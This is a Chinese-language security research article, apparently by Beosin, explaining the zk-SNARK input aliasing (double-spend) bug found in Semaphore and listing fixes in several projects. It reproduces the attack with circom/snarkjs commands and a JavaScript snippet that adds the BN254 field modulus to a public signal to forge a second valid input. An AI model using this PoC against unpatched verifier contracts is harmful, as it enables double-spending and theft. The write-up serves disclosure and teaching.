隨著數(shù)字資產(chǎn)和區(qū)塊鏈技術(shù)的快速發(fā)展，數(shù)字隱私保護(hù)和安全性成為了越來(lái)越受關(guān)注的話題。在這個(gè)背景下，一種名為"零知識(shí)證明（Zero-Knowledge Proof）"的技術(shù)正在逐漸嶄露頭角。

零知識(shí)證明技術(shù)可以在不泄露任何信息的情況下證明某些事情的真實(shí)性，被廣泛應(yīng)用于保護(hù)隱私和安全性。其中，基于零知識(shí)證明技術(shù)的zk-SNARK近期備受矚目，成為數(shù)字資產(chǎn)和區(qū)塊鏈技術(shù)領(lǐng)域的熱門(mén)話題，但有一些安全問(wèn)題卻往往被我們忽視。

Beosin將陸續(xù)推出zk零知識(shí)證明安全研究，第一篇，本文將深入探討zk-SNARK的背景，深度剖析零知識(shí)證明zk-SNARK漏洞：輸入假名漏洞是如何被挖掘出來(lái)的？

1. 什么是zk-SNARK？

zk-SNARK（Zero-Knowledge Succinct Non-Interactive Argument of Knowledge）是一種基于零知識(shí)證明的技術(shù)，可以在不泄露真實(shí)信息的情況下證明某個(gè)聲明的真實(shí)性。

它是一種非常高效的零知識(shí)證明技術(shù)，可以在非常短的時(shí)間內(nèi)生成和驗(yàn)證證明，同時(shí)保護(hù)隱私和安全性。

零知識(shí)證明項(xiàng)目Semaphore上曾經(jīng)被發(fā)現(xiàn)了一個(gè)可以導(dǎo)致雙花的輸入假名漏洞，漏洞提出者poma給出了兩筆成功的示例交易：

圖源：https://github.com/semaphore-protocol/semaphore/issues/16

該漏洞影響范圍非常廣，不止涉及到眾多知名zkSNARKs第三方庫(kù)，連眾多DApp項(xiàng)目方也不能幸免，本文最后將列舉出各個(gè)項(xiàng)目方具體的漏洞代碼以及修復(fù)方案，我們先對(duì)輸入假名漏洞進(jìn)行詳細(xì)介紹。

2. 漏洞原理

Semaphore項(xiàng)目允許以太坊用戶在不透漏其原始身份的情況下，以某個(gè)團(tuán)隊(duì)成員的身份發(fā)送投票等操作，其中所有的團(tuán)隊(duì)成員組成了一棵默克爾樹(shù)，每個(gè)成員是一個(gè)葉子結(jié)點(diǎn)。合約需要團(tuán)隊(duì)成員提供一個(gè)零知識(shí)證明，以證明其身份的合法性。為了防止身份偽造，每個(gè)證明只能使用一次，因此合約中會(huì)存儲(chǔ)已經(jīng)驗(yàn)證過(guò)的證明列表，如果用戶提供了使用過(guò)的證明，程序就會(huì)報(bào)錯(cuò)。具體的實(shí)現(xiàn)代碼如下：

圖源：https://github.com/semaphore-protocol/semaphore/blob/602dd57abb43e48f490e92d7091695d717a63915/semaphorejs/contracts/Semaphore.sol#L83

可以看到，上述代碼首先調(diào)用 verifyProof 校驗(yàn)零知識(shí)證明的合法性，接著通過(guò)證明參數(shù)nullifiers_hash 校驗(yàn)該證明是否是初次使用，但由于未對(duì) nullifiers_hash 進(jìn)行完整的合法性檢查，使得攻擊者可以偽造出多個(gè)證明通過(guò)校驗(yàn)，實(shí)現(xiàn)雙花攻擊。具體地說(shuō)，由于合約變量類型uint256能夠表示的數(shù)值范圍遠(yuǎn)大于零知識(shí)證明電路，而此處代碼僅考慮了 nullifiers_hash 本身是否已被使用，未限制合約中的 nullifiers_hash 的取值范圍，使得攻擊者利用密碼學(xué)中的模運(yùn)算可以偽造多個(gè)證明通過(guò)合約校驗(yàn)。因?yàn)閰?shù)的取值范圍涉及到一些零知識(shí)證明相關(guān)的數(shù)學(xué)知識(shí)，并且采用不同的零知識(shí)證明算法對(duì)應(yīng)不同的取值范圍，因此后文將詳細(xì)介紹。

首先如果要在以太坊中生成和驗(yàn)證zk-SNARK證明，需要使用 F_p-arithmetic 有限域橢圓曲線電路，其中曲線的一般方程如下：

可以發(fā)現(xiàn)曲線上的點(diǎn)都會(huì)進(jìn)行一個(gè)模p運(yùn)算，所以電路生成的證明參數(shù)s值取值范圍為[0,1,…,p-1]，但是鏈上合約的變量類型uint256取值范圍為 [0,115792089237316195423570985008687907853269984665640564039457584007913129639935]，那么當(dāng)合約的變量范圍大于電路取值范圍時(shí)，存在下列多個(gè)具有相同輸出的證明參數(shù)值：

綜上，只要知道了其中一個(gè)合法的證明參數(shù)s，uint256范圍內(nèi)的s+np( n = 1,2,…,n)都可以滿足驗(yàn)證計(jì)算，于是攻擊者在獲取到任意驗(yàn)證通過(guò)的s，即可構(gòu)造max(uint256)/p個(gè) s都可以通過(guò)校驗(yàn)，具體的攻擊流程如下：

上文可知，參數(shù)的取值范圍由p決定，而不同類型的F_p對(duì)應(yīng)不同的p，需要根據(jù)具體使用的零知識(shí)算法確定，如：

EIP-196 中定義的BN254 曲線（也稱為 ALT_BN128 曲線） p = 21888242871839275222246405745257275088548364400416034343698204186575808495617

circom2 引入了兩個(gè)新的素?cái)?shù)，即BLS12-381曲線??p = 52435875175126190479447740508185965837690552500527637822603658699938581184513

以ALT_BN128 曲線為例，共計(jì)可以生成5個(gè)不同的證明參數(shù)通過(guò)驗(yàn)證，計(jì)算過(guò)程如下：

3. 漏洞復(fù)現(xiàn)

由于Semaphore項(xiàng)目本身代碼已經(jīng)更改，重新部署整個(gè)項(xiàng)目較為繁雜，因此我們使用目前常用的零知識(shí)證明編譯器circom編寫(xiě)PoC復(fù)現(xiàn)整個(gè)攻擊過(guò)程。為了方便大家更好的理解整個(gè)流程，這里我們先以circom為例，介紹Groth16算法的零知識(shí)證明生成和驗(yàn)證過(guò)程。

圖源：https://docs.circom.io/

1.項(xiàng)目方需要設(shè)計(jì)一個(gè)算術(shù)電路并使用 circom 語(yǔ)法將其編寫(xiě)為一個(gè)電路描述文件 ??*.circom

2.編譯電路文件，并將其轉(zhuǎn)化為 R1CS 的電路描述文件

3.使用snarkjs庫(kù)根據(jù)輸入文件 input.json 計(jì)算出對(duì)應(yīng)的 witness

4.接著通過(guò)可信設(shè)置生成一個(gè)證明密鑰 Proving key 和驗(yàn)證密鑰 Validation key，其中Proving key用于生成證明Proof， Validation key 用于驗(yàn)證Proof，最后用戶利用密鑰生成對(duì)應(yīng)的零知識(shí)證明Proof

5.驗(yàn)證用戶的證明

接下來(lái)我們將按照上述流程分步進(jìn)行介紹。

3.1 編寫(xiě) multiplier2.circom

為了方便大家理解，我們直接使用circom官方的demo，具體代碼如下：

pragma circom 2.0.0;template Multiplier2() { ? ?signal input a; ? ?signal input b; ? ?signal output c; ? ?c <== a*b; }
component main = Multiplier2();

該電路中有兩個(gè)輸入信號(hào)a和b，一個(gè)輸出信號(hào)c，并且c的值是a和b相乘的結(jié)果

3.2 編譯電路

使用下列命令行編譯multiplier2.circom，并將其轉(zhuǎn)化為R1CS：

circom multiplier2.circom --r1cs --wasm --sym --c

編譯后會(huì)生成4個(gè)文件，其中

?--r1cs：生成的circuit.r1cs是二進(jìn)制格式的電路約束文件

?--wasm：生成的multiplier2_js文件夾包含wasm匯編代碼，和生成witness所需的其他文件目錄（generate_witness.js、multiplier2.wasm）

?--sym：生成文件夾multiplier2.sym，是一個(gè)符號(hào)文件，用于調(diào)試或以注釋模式打印約束系統(tǒng)

?--c：生成文件夾multiplier2_cpp，包含生成witness所需的c代碼文件

注意：生成witness有兩種方式，一種是使用wasm，一種是使用剛生成的C++代碼，如果是大型電路的話使用C++代碼比wasm效率更高

3.3 計(jì)算witness

在multiplier2_js文件夾下創(chuàng)建input.json文件，該文件包含了以標(biāo)準(zhǔn)json格式編寫(xiě)的輸入，此時(shí)使用字符串而不是數(shù)字，是因?yàn)閖s不能準(zhǔn)確處理大于2^{53}的數(shù)，針對(duì)指定的 input.json 生成對(duì)應(yīng)的witness：

node generate_witness.js multiplier2.wasm input.json witness.wtns

3.4 可信設(shè)置

該步驟主要是選取零知識(shí)證明需要的橢圓曲線類型，以及生成一系列原始密鑰*.key文件，其中multiplier2_0000.zkey包含證明密鑰、驗(yàn)證密鑰，multiplier2_0001.zkey則是驗(yàn)證密鑰，最終導(dǎo)出的驗(yàn)證密鑰文件是verification_key.json

snarkjs powersoftau new bn128 12 pot12_0000.ptau -vsnarkjs powersoftau contribute pot12_0000.ptau pot12_0001.ptau --name="First contribution">

3.5 生成證明

利用snarkjs有兩種方式可以生成證明，一種是命令行，一種是腳本生成。由于我們需要構(gòu)造攻擊向量，所以這里主要使用腳本生成。

3.5.1 生成正常 publicSignal

snarkjs groth16 prove multiplier2_0001.zkey witness.wtns proof.json public.json

該命令會(huì)輸出兩個(gè)文件，其中proof.json是生成的證明文件，public.json是公共輸入值。

3.5.2 生成攻擊 publicSignal

async function getProof() { ? ?let inputA = "7" ? ?let inputB = "11" ? ?const { proof, publicSignals } = await snarkjs.groth16.fullProve({ a: inputA, b: inputB }, "Multiplier2.wasm", "multiplier2_0001.zkey") ? ?console.log("Proof: ") ? ?console.log(JSON.stringify(proof, null, 1));

 ? ?let q = BigInt("21888242871839275222246405745257275088548364400416034343698204186575808495617") ? ?let originalHash = publicSignals ? ?let attackHash = BigInt(originalHash) + q
 ? ?console.log("originalHash: " + publicSignals) ? ?console.log("attackHash: " + attackHash)}

生成的證明Proof、原始驗(yàn)證參數(shù)originalHash和攻擊參數(shù)attackHash如下圖所示：

3.6 驗(yàn)證證明

證明的驗(yàn)證方式同樣也有兩種，一種是使用snarkjs庫(kù)進(jìn)行驗(yàn)證，一種是合約驗(yàn)證。我們這里主要使用鏈上合約的驗(yàn)證方式驗(yàn)證原始證明參數(shù)originalHash、攻擊證明參數(shù)attackHash。

這里我們使用snarkjs自動(dòng)生成一個(gè)驗(yàn)證合約verifier.sol，注意最新版本0.6.10的snarkjs生成的合約已經(jīng)修復(fù)了這個(gè)問(wèn)題，所以我們使用舊版本生成合約：

snarkjs zkey export solidityverifier multiplier2_0001.zkey verifier.sol

合約關(guān)鍵代碼如下：

function verify(uint[] memory input, Proof memory proof) internal view returns (uint) { ? ? ? ?VerifyingKey memory vk = verifyingKey(); ? ? ? ?require(input.length + 1 == vk.IC.length,"verifier-bad-input"); ? ? ? ?// Compute the linear combination vk_x ? ? ? ?Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0); ? ? ? ?for (uint i = 0; i < input.length; i++) ? ? ? ? ? ?vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i])); ? ? ? ?vk_x = Pairing.addition(vk_x, vk.IC[0]); ? ? ? ?if (!Pairing.pairingProd4( ? ? ? ? ? ?Pairing.negate(proof.A), proof.B, ? ? ? ? ? ?vk.alfa1, vk.beta2, ? ? ? ? ? ?vk_x, vk.gamma2, ? ? ? ? ? ?proof.C, vk.delta2 ? ? ? ?)) return 1; ? ? ? ?return 0;}

此時(shí)，使用originalHash驗(yàn)證通過(guò)：

最后使用剛偽造的attackHash：

21888242871839275222246405745257275088548364400416034343698204186575808495694，同樣驗(yàn)證通過(guò)！即同一份proof，可以被多次驗(yàn)證通過(guò)，即可造成雙花攻擊。

此外，由于本文使用ALT_BN128 曲線進(jìn)行復(fù)現(xiàn)，因此共計(jì)可以生成5個(gè)不同參數(shù)通過(guò)驗(yàn)證：

4. 修復(fù)方案

Semaphore?項(xiàng)目已經(jīng)針對(duì)該漏洞進(jìn)行了修復(fù)，具體修復(fù)代碼如下：

圖源：https://github.com/semaphore-protocol/semaphore/blob/0cb0ef3514bc35890331379fd16c7be071ada4f6/packages/contracts/contracts/base/SemaphoreVerifier.sol#L42

圖源：https://github.com/semaphore-protocol/semaphore/blob/0cb0ef3514bc35890331379fd16c7be071ada4f6/packages/contracts/contracts/base/Pairing.sol#L94

但是該漏洞屬于實(shí)現(xiàn)上的通用漏洞，經(jīng)過(guò)我們Beosin安全團(tuán)隊(duì)的研究發(fā)現(xiàn)，眾多知名的零知識(shí)證明算法組件和DApp項(xiàng)目都受到該漏洞的影響，絕大部分后續(xù)進(jìn)行了及時(shí)修復(fù)。以下列舉出部分項(xiàng)目方的修復(fù)方案：

ethsnarks：

圖源?https://github.com/HarryR/ethsnarks/commit/34a3bfb1b0869e1063cc5976728180409cf7ee96

snarkjs：

圖源：https://github.com/iden3/snarkjs/commit/25dc1fc6e311f47ba5fa5378bfcc383f15ec74f4

heiswap-dapp：

圖源：https://github.com/kendricktan/heiswap-dapp/commit/de022ffc9ffdfa4e6d9a7b51dc555728e25e9ca5#diff-a818b8dfd8f87dea043ed78d2e7c97ed0cda1ca9aed69f9267e520041a037bd5

EY Blockchain：

圖源：https://github.com/EYBlockchain/nightfall/pull/96/files

此外，還有部分項(xiàng)目未能及時(shí)修復(fù)，Beosin安全團(tuán)隊(duì)已與項(xiàng)目方取得聯(lián)系，正在積極協(xié)助修復(fù)。

針對(duì)此漏洞，Beosin安全團(tuán)隊(duì)提醒zk項(xiàng)目方，在進(jìn)行proof驗(yàn)證時(shí)，應(yīng)充分考慮算法設(shè)計(jì)在實(shí)際實(shí)現(xiàn)時(shí)，由于代碼語(yǔ)言屬性導(dǎo)致的安全風(fēng)險(xiǎn)。同時(shí)，強(qiáng)烈建議項(xiàng)目方在項(xiàng)目上線之前，尋求專業(yè)的安全審計(jì)公司進(jìn)行充分的安全審計(jì)，確保項(xiàng)目安全。

熱點(diǎn)：EOS 區(qū)塊鏈 區(qū)塊鏈技術(shù) 數(shù)字資產(chǎn)